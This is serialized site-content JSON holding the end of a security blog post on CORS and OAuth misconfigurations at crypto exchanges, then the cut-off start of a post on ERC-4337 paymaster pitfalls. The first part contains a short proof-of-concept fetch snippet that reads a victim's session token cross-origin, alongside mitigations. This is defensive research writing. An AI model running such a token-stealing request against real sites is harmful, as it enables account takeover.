res",{"type":21,"tag":153,"props":104169,"children":104170},{"style":198},[104171],{"type":26,"value":255},{"type":21,"tag":153,"props":104173,"children":104174},{"style":1751},[104175],{"type":26,"value":38904},{"type":21,"tag":153,"props":104177,"children":104178},{"style":181},[104179],{"type":26,"value":35622},{"type":21,"tag":153,"props":104181,"children":104182},{"style":160},[104183],{"type":26,"value":189},{"type":21,"tag":153,"props":104185,"children":104186},{"style":671},[104187],{"type":26,"value":104188},"'https://www.exchange.com/api/session_token'",{"type":21,"tag":153,"props":104190,"children":104191},{"style":160},[104192],{"type":26,"value":51172},{"type":21,"tag":153,"props":104194,"children":104195},{"class":155,"line":225},[104196,104201,104206],{"type":21,"tag":153,"props":104197,"children":104198},{"style":192},[104199],{"type":26,"value":104200},"    credentials:",{"type":21,"tag":153,"props":104202,"children":104203},{"style":671},[104204],{"type":26,"value":104205}," 'include'",{"type":21,"tag":153,"props":104207,"children":104208},{"style":160},[104209],{"type":26,"value":792},{"type":21,"tag":153,"props":104211,"children":104212},{"class":155,"line":239},[104213,104218,104223],{"type":21,"tag":153,"props":104214,"children":104215},{"style":192},[104216],{"type":26,"value":104217},"    method:",{"type":21,"tag":153,"props":104219,"children":104220},{"style":671},[104221],{"type":26,"value":104222}," 'POST'",{"type":21,"tag":153,"props":104224,"children":104225},{"style":160},[104226],{"type":26,"value":792},{"type":21,"tag":153,"props":104228,"children":104229},{"class":155,"line":382},[104230],{"type":21,"tag":153,"props":104231,"children":104232},{"style":160},[104233],{"type":26,"value":100491},{"type":21,"tag":153,"props":104235,"children":104236},{"class":155,"line":501},[104237,104242,104246,104251,104255,104259,104263,104267,104271],{"type":21,"tag":153,"props":104238,"children":104239},{"style":192},[104240],{"type":26,"value":104241},"  console",{"type":21,"tag":153,"props":104243,"children":104244},{"style":160},[104245],{"type":26,"value":355},{"type":21,"tag":153,"props":104247,"children":104248},{"style":181},[104249],{"type":26,"value":104250},"log",{"type":21,"tag":153,"props":104252,"children":104253},{"style":160},[104254],{"type":26,"value":189},{"type":21,"tag":153,"props":104256,"children":104257},{"style":1751},[104258],{"type":26,"value":1754},{"type":21,"tag":153,"props":104260,"children":104261},{"style":192},[104262],{"type":26,"value":104167},{"type":21,"tag":153,"props":104264,"children":104265},{"style":160},[104266],{"type":26,"value":355},{"type":21,"tag":153,"props":104268,"children":104269},{"style":181},[104270],{"type":26,"value":36691},{"type":21,"tag":153,"props":104272,"children":104273},{"style":160},[104274],{"type":26,"value":379},{"type":21,"tag":153,"props":104276,"children":104277},{"class":155,"line":533},[104278],{"type":21,"tag":153,"props":104279,"children":104280},{"style":160},[104281],{"type":26,"value":104282},"})();\n",{"type":21,"tag":22,"props":104284,"children":104285},{},[104286],{"type":26,"value":104287},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":21,"tag":114,"props":104289,"children":104290},{"id":43025},[104291],{"type":26,"value":43028},{"type":21,"tag":22,"props":104293,"children":104294},{},[104295,104297,104302],{"type":26,"value":104296},"As mitigation, it is recommended to remove all ",{"type":21,"tag":78,"props":104298,"children":104300},{"className":104299},[],[104301],{"type":26,"value":103974},{"type":26,"value":104303}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":21,"tag":22,"props":104305,"children":104306},{},[104307],{"type":26,"value":104308},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":21,"tag":66,"props":104310,"children":104311},{"id":5568},[104312],{"type":26,"value":5571},{"type":21,"tag":22,"props":104314,"children":104315},{},[104316],{"type":26,"value":104317},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":21,"tag":22,"props":104319,"children":104320},{},[104321],{"type":26,"value":104322},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":21,"tag":5603,"props":104324,"children":104325},{},[104326],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":104328},[104329,104334,104339],{"id":102013,"depth":166,"text":102016,"children":104330},[104331,104332,104333],{"id":102024,"depth":225,"text":102027},{"id":102381,"depth":225,"text":102384},{"id":103944,"depth":225,"text":103947},{"id":103955,"depth":166,"text":103958,"children":104335},[104336,104337,104338],{"id":104019,"depth":225,"text":104022},{"id":104076,"depth":225,"text":102408},{"id":43025,"depth":225,"text":43028},{"id":5568,"depth":166,"text":5571},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":104344,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":104345,"description":104346,"date":104347,"author":104348,"image":104349,"isFeatured":16,"onBlogPage":16,"tags":104351,"body":104354,"_type":5619,"_id":110126,"_source":5621,"_file":110127,"_stem":110128,"_extension":5624},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":104350,"width":99565,"height":16340},"/posts/paymasters-evm/title.png",[104352,104353],"evm","ERC-4337",{"type":18,"children":104355,"toc":110105},[104356,104360,104371,104376,104381,104386,104392,104398,104403,104408,104414,104419,104447,104453,104458,104465,104470,104480,104485,104511,104517,104537,104543,104563,104571,104602,104635,104644,104656,104681,104693,104706,104749,104755,104788,104887,104906,104929,104934,104940,104968,105115,105120,105147,105153,105165,105177,105186,105221,105226,106711,106739,106760,106765,106777,106786,106791,106809,106832,106837,106843,106897,106903,106936,106971,107795,107831,107867,107933,107966,108464,108517,108529,109093,109162,109189,109811,109853,109880,109892,109953,109972,110006,110011,110016,110021,110025,110030,110065,110091,110096,110101],{"type":21,"tag":38066,"props":104357,"children":104358},{"id":31710},[104359],{"type":26,"value":31713},{"type":21,"tag":22,"props":104361,"children":104362},{},[104363,104369],{"type":21,"tag":29,"props":104364,"children":104367},{"href":104365,"rel":104366},"https://docs.erc4337.io/",[33],[104368],{"type":26,"value":104353},{"type":26,"value":104370}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":21,"tag":22,"props":104372,"children":104373},{},[104374],{"type":26,"value":104375},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":21,"tag":22,"props":104377,"children":104378},{},[104379],{"type":26,"value":104380},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":21,"tag":22,"props":104382,"children":104383},{},[104384],{"type":26,"value":104385},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":21,"tag":38066,"props":104387,"children":104389},{"id":104388},"erc4337-overview",[104390],{"type":26,"value":104391},"ERC4337 Overview",{"type":21,"tag":66,"props":104393,"children":104395},{"id":104394},"traditional-eoas-vs-smart-contract-wallets",[104396],{"type":26,"value":104397},"Traditional EOAs vs Smart Contract Wallets",{"type":21,"tag":22,"props":104399,"children":104400},{},[104401],{"type":26,"value":104402},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":21,"tag":22,"props":104404,"children":104405},{},[104406],{"type":26,"value":104407},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":21,"tag":66,"props":104409,"children":104411},{"id":104410},"why-erc4337-was-introduced",[104412],{"type":26,"value":104413},"Why ERC‑4337 Was Introduced",{"type":21,"tag":22,"props":104415,"children":104416},{},[104417],{"type":26,"value":104418},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":21,"tag":87,"props":104420,"children":104421},{},[104422,104427,104432,104437,104442],{"type":21,"tag":91,"props":104423,"children":104424},{},[104425],{"type":26,"value":104426},"User recovery for lost keys (e.g. social recovery)",{"type":21,"tag":91,"props":104428,"children":104429},{},[104430],{"type":26,"value":104431},"Batched or atomic multi-step operations in one flow",{"type":21,"tag":91,"props":104433,"children":104434},{},[104435],{"type":26,"value":104436},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":21,"tag":91,"props":104438,"children":104439},{},[104440],{"type":26,"value":104441},"Using custom signature schemes or multisig logic",{"type":21,"tag":91,"props":104443,"children":104444},{},[104445],{"type":26,"value":104446},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":21,"tag":66,"props":104448,"children":104450},{"id":104449},"how-erc-4337-works",[104451],{"type":26,"value":104452},"How ERC-4337 Works",{"type":21,"tag":22,"props":104454,"children":104455},{},[104456],{"type":26,"value":104457},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":21,"tag":22,"props":104459,"children":104460},{},[104461],{"type":21,"tag":3644,"props":104462,"children":104464},{"alt":52869,"src":104463},"/posts/paymasters-evm/flowchart.png",[],{"type":21,"tag":22,"props":104466,"children":104467},{},[104468],{"type":26,"value":104469},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":21,"tag":114,"props":104471,"children":104473},{"id":104472},"useroperation",[104474],{"type":21,"tag":78,"props":104475,"children":104477},{"className":104476},[],[104478],{"type":26,"value":104479},"UserOperation",{"type":21,"tag":22,"props":104481,"children":104482},{},[104483],{"type":26,"value":104484},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":21,"tag":87,"props":104486,"children":104487},{},[104488,104493,104498],{"type":21,"tag":91,"props":104489,"children":104490},{},[104491],{"type":26,"value":104492},"Target contract call(s)",{"type":21,"tag":91,"props":104494,"children":104495},{},[104496],{"type":26,"value":104497},"Signature or validation metadata",{"type":21,"tag":91,"props":104499,"children":104500},{},[104501,104503,104509],{"type":26,"value":104502},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":21,"tag":78,"props":104504,"children":104506},{"className":104505},[],[104507],{"type":26,"value":104508},"UserOperations",{"type":26,"value":104510}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":21,"tag":114,"props":104512,"children":104514},{"id":104513},"smart-contract-account",[104515],{"type":26,"value":104516},"Smart Contract Account",{"type":21,"tag":22,"props":104518,"children":104519},{},[104520,104522,104528,104529,104535],{"type":26,"value":104521},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":21,"tag":78,"props":104523,"children":104525},{"className":104524},[],[104526],{"type":26,"value":104527},"validateUserOp()",{"type":26,"value":52},{"type":21,"tag":78,"props":104530,"children":104532},{"className":104531},[],[104533],{"type":26,"value":104534},"executeUserOp()",{"type":26,"value":104536},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":21,"tag":114,"props":104538,"children":104540},{"id":104539},"bundler",[104541],{"type":26,"value":104542},"Bundler",{"type":21,"tag":22,"props":104544,"children":104545},{},[104546,104548,104553,104555,104561],{"type":26,"value":104547},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":21,"tag":78,"props":104549,"children":104551},{"className":104550},[],[104552],{"type":26,"value":104508},{"type":26,"value":104554},", packages them, and submits them in a single transaction to the ",{"type":21,"tag":78,"props":104556,"children":104558},{"className":104557},[],[104559],{"type":26,"value":104560},"EntryPoint",{"type":26,"value":104562}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":21,"tag":114,"props":104564,"children":104565},{"id":17426},[104566],{"type":21,"tag":78,"props":104567,"children":104569},{"className":104568},[],[104570],{"type":26,"value":104560},{"type":21,"tag":22,"props":104572,"children":104573},{},[104574,104575,104580,104582,104587,104589,104593,104595,104600],{"type":26,"value":19311},{"type":21,"tag":78,"props":104576,"children":104578},{"className":104577},[],[104579],{"type":26,"value":104560},{"type":26,"value":104581}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":21,"tag":78,"props":104583,"children":104585},{"className":104584},[],[104586],{"type":26,"value":104508},{"type":26,"value":104588}," submitted by a ",{"type":21,"tag":8055,"props":104590,"children":104591},{},[104592],{"type":26,"value":104542},{"type":26,"value":104594},", the ",{"type":21,"tag":78,"props":104596,"children":104598},{"className":104597},[],[104599],{"type":26,"value":104560},{"type":26,"value":104601}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":21,"tag":22,"props":104603,"children":104604},{},[104605,104607,104612,104614,104618,104620,104625,104627,104633],{"type":26,"value":104606},"Once all operations have been processed, the ",{"type":21,"tag":78,"props":104608,"children":104610},{"className":104609},[],[104611],{"type":26,"value":104560},{"type":26,"value":104613}," calculates the total gas consumed and reimburses the ",{"type":21,"tag":8055,"props":104615,"children":104616},{},[104617],{"type":26,"value":104542},{"type":26,"value":104619},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":21,"tag":78,"props":104621,"children":104623},{"className":104622},[],[104624],{"type":26,"value":104560},{"type":26,"value":104626}," or from a ",{"type":21,"tag":78,"props":104628,"children":104630},{"className":104629},[],[104631],{"type":26,"value":104632},"paymaster",{"type":26,"value":104634}," that has agreed to sponsor the transaction.",{"type":21,"tag":114,"props":104636,"children":104637},{"id":104632},[104638],{"type":21,"tag":78,"props":104639,"children":104641},{"className":104640},[],[104642],{"type":26,"value":104643},"Paymaster",{"type":21,"tag":22,"props":104645,"children":104646},{},[104647,104649,104654],{"type":26,"value":104648},"A ",{"type":21,"tag":78,"props":104650,"children":104652},{"className":104651},[],[104653],{"type":26,"value":104632},{"type":26,"value":104655}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":21,"tag":87,"props":104657,"children":104658},{},[104659,104670],{"type":21,"tag":91,"props":104660,"children":104661},{},[104662,104668],{"type":21,"tag":78,"props":104663,"children":104665},{"className":104664},[],[104666],{"type":26,"value":104667},"validatePaymasterUserOp()",{"type":26,"value":104669}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":21,"tag":91,"props":104671,"children":104672},{},[104673,104679],{"type":21,"tag":78,"props":104674,"children":104676},{"className":104675},[],[104677],{"type":26,"value":104678},"postOp()",{"type":26,"value":104680},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":21,"tag":22,"props":104682,"children":104683},{},[104684,104686,104691],{"type":26,"value":104685},"By supporting both sponsorship and token-based gas payments, ",{"type":21,"tag":78,"props":104687,"children":104689},{"className":104688},[],[104690],{"type":26,"value":104632},{"type":26,"value":104692}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":21,"tag":66,"props":104694,"children":104696},{"id":104695},"understanding-the-entrypoints-flow",[104697,104699,104704],{"type":26,"value":104698},"Understanding the ",{"type":21,"tag":78,"props":104700,"children":104702},{"className":104701},[],[104703],{"type":26,"value":104560},{"type":26,"value":104705},"'s Flow",{"type":21,"tag":22,"props":104707,"children":104708},{},[104709,104711,104716,104717,104722,104724,104735,104737,104742,104743,104748],{"type":26,"value":104710},"When a bundler submits ",{"type":21,"tag":78,"props":104712,"children":104714},{"className":104713},[],[104715],{"type":26,"value":104508},{"type":26,"value":19109},{"type":21,"tag":78,"props":104718,"children":104720},{"className":104719},[],[104721],{"type":26,"value":104560},{"type":26,"value":104723}," contract via ",{"type":21,"tag":29,"props":104725,"children":104728},{"href":104726,"rel":104727},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[33],[104729],{"type":21,"tag":78,"props":104730,"children":104732},{"className":104731},[],[104733],{"type":26,"value":104734},"handleOps()",{"type":26,"value":104736},", the processing occurs in two main phases: ",{"type":21,"tag":8055,"props":104738,"children":104739},{},[104740],{"type":26,"value":104741},"Validation",{"type":26,"value":52},{"type":21,"tag":8055,"props":104744,"children":104745},{},[104746],{"type":26,"value":104747},"Execution",{"type":26,"value":355},{"type":21,"tag":114,"props":104750,"children":104752},{"id":104751},"validation-phase",[104753],{"type":26,"value":104754},"Validation Phase",{"type":21,"tag":22,"props":104756,"children":104757},{},[104758,104760,104765,104767,104773,104775,104781,104782,104787],{"type":26,"value":104759},"In this phase, the ",{"type":21,"tag":78,"props":104761,"children":104763},{"className":104762},[],[104764],{"type":26,"value":104560},{"type":26,"value":104766}," first validates all operations in the submitted ",{"type":21,"tag":78,"props":104768,"children":104770},{"className":104769},[],[104771],{"type":26,"value":104772},"UserOps",{"type":26,"value":104774}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":21,"tag":78,"props":104776,"children":104778},{"className":104777},[],[104779],{"type":26,"value":104780},"UserOp",{"type":26,"value":104594},{"type":21,"tag":78,"props":104783,"children":104785},{"className":104784},[],[104786],{"type":26,"value":104560},{"type":26,"value":201},{"type":21,"tag":126,"props":104789,"children":104790},{},[104791,104809,104827,104848,104860],{"type":21,"tag":91,"props":104792,"children":104793},{},[104794,104801,104803],{"type":21,"tag":29,"props":104795,"children":104798},{"href":104796,"rel":104797},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[33],[104799],{"type":26,"value":104800},"Calculates",{"type":26,"value":104802}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":21,"tag":78,"props":104804,"children":104806},{"className":104805},[],[104807],{"type":26,"value":104808},"maxFeePerGas",{"type":21,"tag":91,"props":104810,"children":104811},{},[104812,104819,104820,104825],{"type":21,"tag":29,"props":104813,"children":104816},{"href":104814,"rel":104815},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[33],[104817],{"type":26,"value":104818},"Calls",{"type":26,"value":9187},{"type":21,"tag":78,"props":104821,"children":104823},{"className":104822},[],[104824],{"type":26,"value":104527},{"type":26,"value":104826}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":21,"tag":91,"props":104828,"children":104829},{},[104830,104832,104839,104841,104846],{"type":26,"value":104831},"If no paymaster is specified, attempts to ",{"type":21,"tag":29,"props":104833,"children":104836},{"href":104834,"rel":104835},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[33],[104837],{"type":26,"value":104838},"deduct",{"type":26,"value":104840}," the prefund amount from the sender's ETH deposit in the ",{"type":21,"tag":78,"props":104842,"children":104844},{"className":104843},[],[104845],{"type":26,"value":104560},{"type":26,"value":104847}," (this can be partially refunded later if actual execution costs less)",{"type":21,"tag":91,"props":104849,"children":104850},{},[104851,104858],{"type":21,"tag":29,"props":104852,"children":104855},{"href":104853,"rel":104854},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[33],[104856],{"type":26,"value":104857},"Validates",{"type":26,"value":104859}," the nonce to prevent replay attacks",{"type":21,"tag":91,"props":104861,"children":104862},{},[104863,104865,104871,104873,104879,104880,104885],{"type":26,"value":104864},"If a paymaster is specified, it will ",{"type":21,"tag":29,"props":104866,"children":104869},{"href":104867,"rel":104868},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[33],[104870],{"type":26,"value":104838},{"type":26,"value":104872}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":21,"tag":29,"props":104874,"children":104877},{"href":104875,"rel":104876},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[33],[104878],{"type":26,"value":3784},{"type":26,"value":9187},{"type":21,"tag":78,"props":104881,"children":104883},{"className":104882},[],[104884],{"type":26,"value":104667},{"type":26,"value":104886}," on the paymaster contract to verify it will cover gas costs",{"type":21,"tag":22,"props":104888,"children":104889},{},[104890,104892,104897,104899,104904],{"type":26,"value":104891},"Only after all these validation checks pass will the ",{"type":21,"tag":78,"props":104893,"children":104895},{"className":104894},[],[104896],{"type":26,"value":104560},{"type":26,"value":104898}," move on to actually executing the ",{"type":21,"tag":78,"props":104900,"children":104902},{"className":104901},[],[104903],{"type":26,"value":104479},{"type":26,"value":104905},". This strict validation flow ensures that:",{"type":21,"tag":87,"props":104907,"children":104908},{},[104909,104914,104919,104924],{"type":21,"tag":91,"props":104910,"children":104911},{},[104912],{"type":26,"value":104913},"The operation is legitimate and authorized by the user",{"type":21,"tag":91,"props":104915,"children":104916},{},[104917],{"type":26,"value":104918},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":21,"tag":91,"props":104920,"children":104921},{},[104922],{"type":26,"value":104923},"The operation cannot be replayed",{"type":21,"tag":91,"props":104925,"children":104926},{},[104927],{"type":26,"value":104928},"All involved contracts (sender and paymaster) have approved the execution",{"type":21,"tag":22,"props":104930,"children":104931},{},[104932],{"type":26,"value":104933},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":21,"tag":114,"props":104935,"children":104937},{"id":104936},"execution-phase",[104938],{"type":26,"value":104939},"Execution Phase",{"type":21,"tag":22,"props":104941,"children":104942},{},[104943,104945,104950,104952,104959,104961,104966],{"type":26,"value":104944},"After all operations have passed validation, the ",{"type":21,"tag":78,"props":104946,"children":104948},{"className":104947},[],[104949],{"type":26,"value":104560},{"type":26,"value":104951}," begins the ",{"type":21,"tag":29,"props":104953,"children":104956},{"href":104954,"rel":104955},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[33],[104957],{"type":26,"value":104958},"execution",{"type":26,"value":104960}," phase, processing each ",{"type":21,"tag":78,"props":104962,"children":104964},{"className":104963},[],[104965],{"type":26,"value":104479},{"type":26,"value":104967}," individually. For each operation, the flow is:",{"type":21,"tag":126,"props":104969,"children":104970},{},[104971,105031,105077],{"type":21,"tag":91,"props":104972,"children":104973},{},[104974,104975,104980,104982,104988,104989,104995,104997],{"type":26,"value":19311},{"type":21,"tag":78,"props":104976,"children":104978},{"className":104977},[],[104979],{"type":26,"value":104560},{"type":26,"value":104981}," makes a ",{"type":21,"tag":29,"props":104983,"children":104986},{"href":104984,"rel":104985},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[33],[104987],{"type":26,"value":3784},{"type":26,"value":59068},{"type":21,"tag":78,"props":104990,"children":104992},{"className":104991},[],[104993],{"type":26,"value":104994},"innerHandleOp()",{"type":26,"value":104996},", which:\n",{"type":21,"tag":87,"props":104998,"children":104999},{},[105000,105012,105017],{"type":21,"tag":91,"props":105001,"children":105002},{},[105003,105010],{"type":21,"tag":29,"props":105004,"children":105007},{"href":105005,"rel":105006},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[33],[105008],{"type":26,"value":105009},"Forwards",{"type":26,"value":105011}," the operation to the sender's smart account contract",{"type":21,"tag":91,"props":105013,"children":105014},{},[105015],{"type":26,"value":105016},"Executes the intended transaction(s) within the smart account",{"type":21,"tag":91,"props":105018,"children":105019},{},[105020,105022,105029],{"type":26,"value":105021},"Handles ",{"type":21,"tag":29,"props":105023,"children":105026},{"href":105024,"rel":105025},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[33],[105027],{"type":26,"value":105028},"post-execution",{"type":26,"value":105030}," tasks and cleanup",{"type":21,"tag":91,"props":105032,"children":105033},{},[105034,105036,105042,105044,105050,105051,105057,105059],{"type":26,"value":105035},"If a paymaster was used, ",{"type":21,"tag":78,"props":105037,"children":105039},{"className":105038},[],[105040],{"type":26,"value":105041},"Entrypoint",{"type":26,"value":105043}," will ",{"type":21,"tag":29,"props":105045,"children":105048},{"href":105046,"rel":105047},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[33],[105049],{"type":26,"value":3784},{"type":26,"value":9187},{"type":21,"tag":78,"props":105052,"children":105054},{"className":105053},[],[105055],{"type":26,"value":105056},"paymaster.postOp()",{"type":26,"value":105058}," to:\n",{"type":21,"tag":87,"props":105060,"children":105061},{},[105062,105067,105072],{"type":21,"tag":91,"props":105063,"children":105064},{},[105065],{"type":26,"value":105066},"Allow paymaster to finalize its accounting",{"type":21,"tag":91,"props":105068,"children":105069},{},[105070],{"type":26,"value":105071},"Process any refunds or additional charges",{"type":21,"tag":91,"props":105073,"children":105074},{},[105075],{"type":26,"value":105076},"Complete any paymaster-specific logic",{"type":21,"tag":91,"props":105078,"children":105079},{},[105080,105082,105087,105088,105095,105097],{"type":26,"value":105081},"Finally, after all operations are processed, the ",{"type":21,"tag":78,"props":105083,"children":105085},{"className":105084},[],[105086],{"type":26,"value":104560},{"type":26,"value":9187},{"type":21,"tag":29,"props":105089,"children":105092},{"href":105090,"rel":105091},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[33],[105093],{"type":26,"value":105094},"compensates",{"type":26,"value":105096}," the bundler for:\n",{"type":21,"tag":87,"props":105098,"children":105099},{},[105100,105105,105110],{"type":21,"tag":91,"props":105101,"children":105102},{},[105103],{"type":26,"value":105104},"Gas costs from executing all operations",{"type":21,"tag":91,"props":105106,"children":105107},{},[105108],{"type":26,"value":105109},"Overhead from submitting the batch transaction",{"type":21,"tag":91,"props":105111,"children":105112},{},[105113],{"type":26,"value":105114},"Any unused gas, which is refunded",{"type":21,"tag":22,"props":105116,"children":105117},{},[105118],{"type":26,"value":105119},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":21,"tag":22,"props":105121,"children":105122},{},[105123,105125,105130,105132,105138,105140,105145],{"type":26,"value":105124},"Now that we understand how the ",{"type":21,"tag":78,"props":105126,"children":105128},{"className":105127},[],[105129],{"type":26,"value":104560},{"type":26,"value":105131}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":21,"tag":78,"props":105133,"children":105135},{"className":105134},[],[105136],{"type":26,"value":105137},"paymasters",{"type":26,"value":105139}," that align with the ",{"type":21,"tag":78,"props":105141,"children":105143},{"className":105142},[],[105144],{"type":26,"value":104560},{"type":26,"value":105146},"'s execution model, leading to potential vulnerabilities.",{"type":21,"tag":38066,"props":105148,"children":105150},{"id":105149},"common-pitfalls-in-paymaster-implementation",[105151],{"type":26,"value":105152},"Common Pitfalls in Paymaster Implementation",{"type":21,"tag":22,"props":105154,"children":105155},{},[105156,105158,105163],{"type":26,"value":105157},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":21,"tag":78,"props":105159,"children":105161},{"className":105160},[],[105162],{"type":26,"value":104560},{"type":26,"value":105164}," to exploitation or griefing.",{"type":21,"tag":22,"props":105166,"children":105167},{},[105168,105170,105175],{"type":26,"value":105169},"In this section, we’ll walk through the ",{"type":21,"tag":8055,"props":105171,"children":105172},{},[105173],{"type":26,"value":105174},"two most common pitfalls",{"type":26,"value":105176}," we’ve observed in real-world paymaster implementations:",{"type":21,"tag":66,"props":105178,"children":105180},{"id":105179},"undercalculated-gas-costs",[105181],{"type":21,"tag":8055,"props":105182,"children":105183},{},[105184],{"type":26,"value":105185},"Undercalculated Gas Costs",{"type":21,"tag":22,"props":105187,"children":105188},{},[105189,105191,105196,105198,105203,105205,105210,105212,105219],{"type":26,"value":105190},"To understand this issue, let's first examine how gas penalties work in the ",{"type":21,"tag":78,"props":105192,"children":105194},{"className":105193},[],[105195],{"type":26,"value":104560},{"type":26,"value":105197},". When a ",{"type":21,"tag":78,"props":105199,"children":105201},{"className":105200},[],[105202],{"type":26,"value":104479},{"type":26,"value":105204}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":21,"tag":78,"props":105206,"children":105208},{"className":105207},[],[105209],{"type":26,"value":104560},{"type":26,"value":105211}," charges a ",{"type":21,"tag":29,"props":105213,"children":105216},{"href":105214,"rel":105215},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[33],[105217],{"type":26,"value":105218},"penalty of 10%",{"type":26,"value":105220}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":21,"tag":22,"props":105222,"children":105223},{},[105224],{"type":26,"value":105225},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case 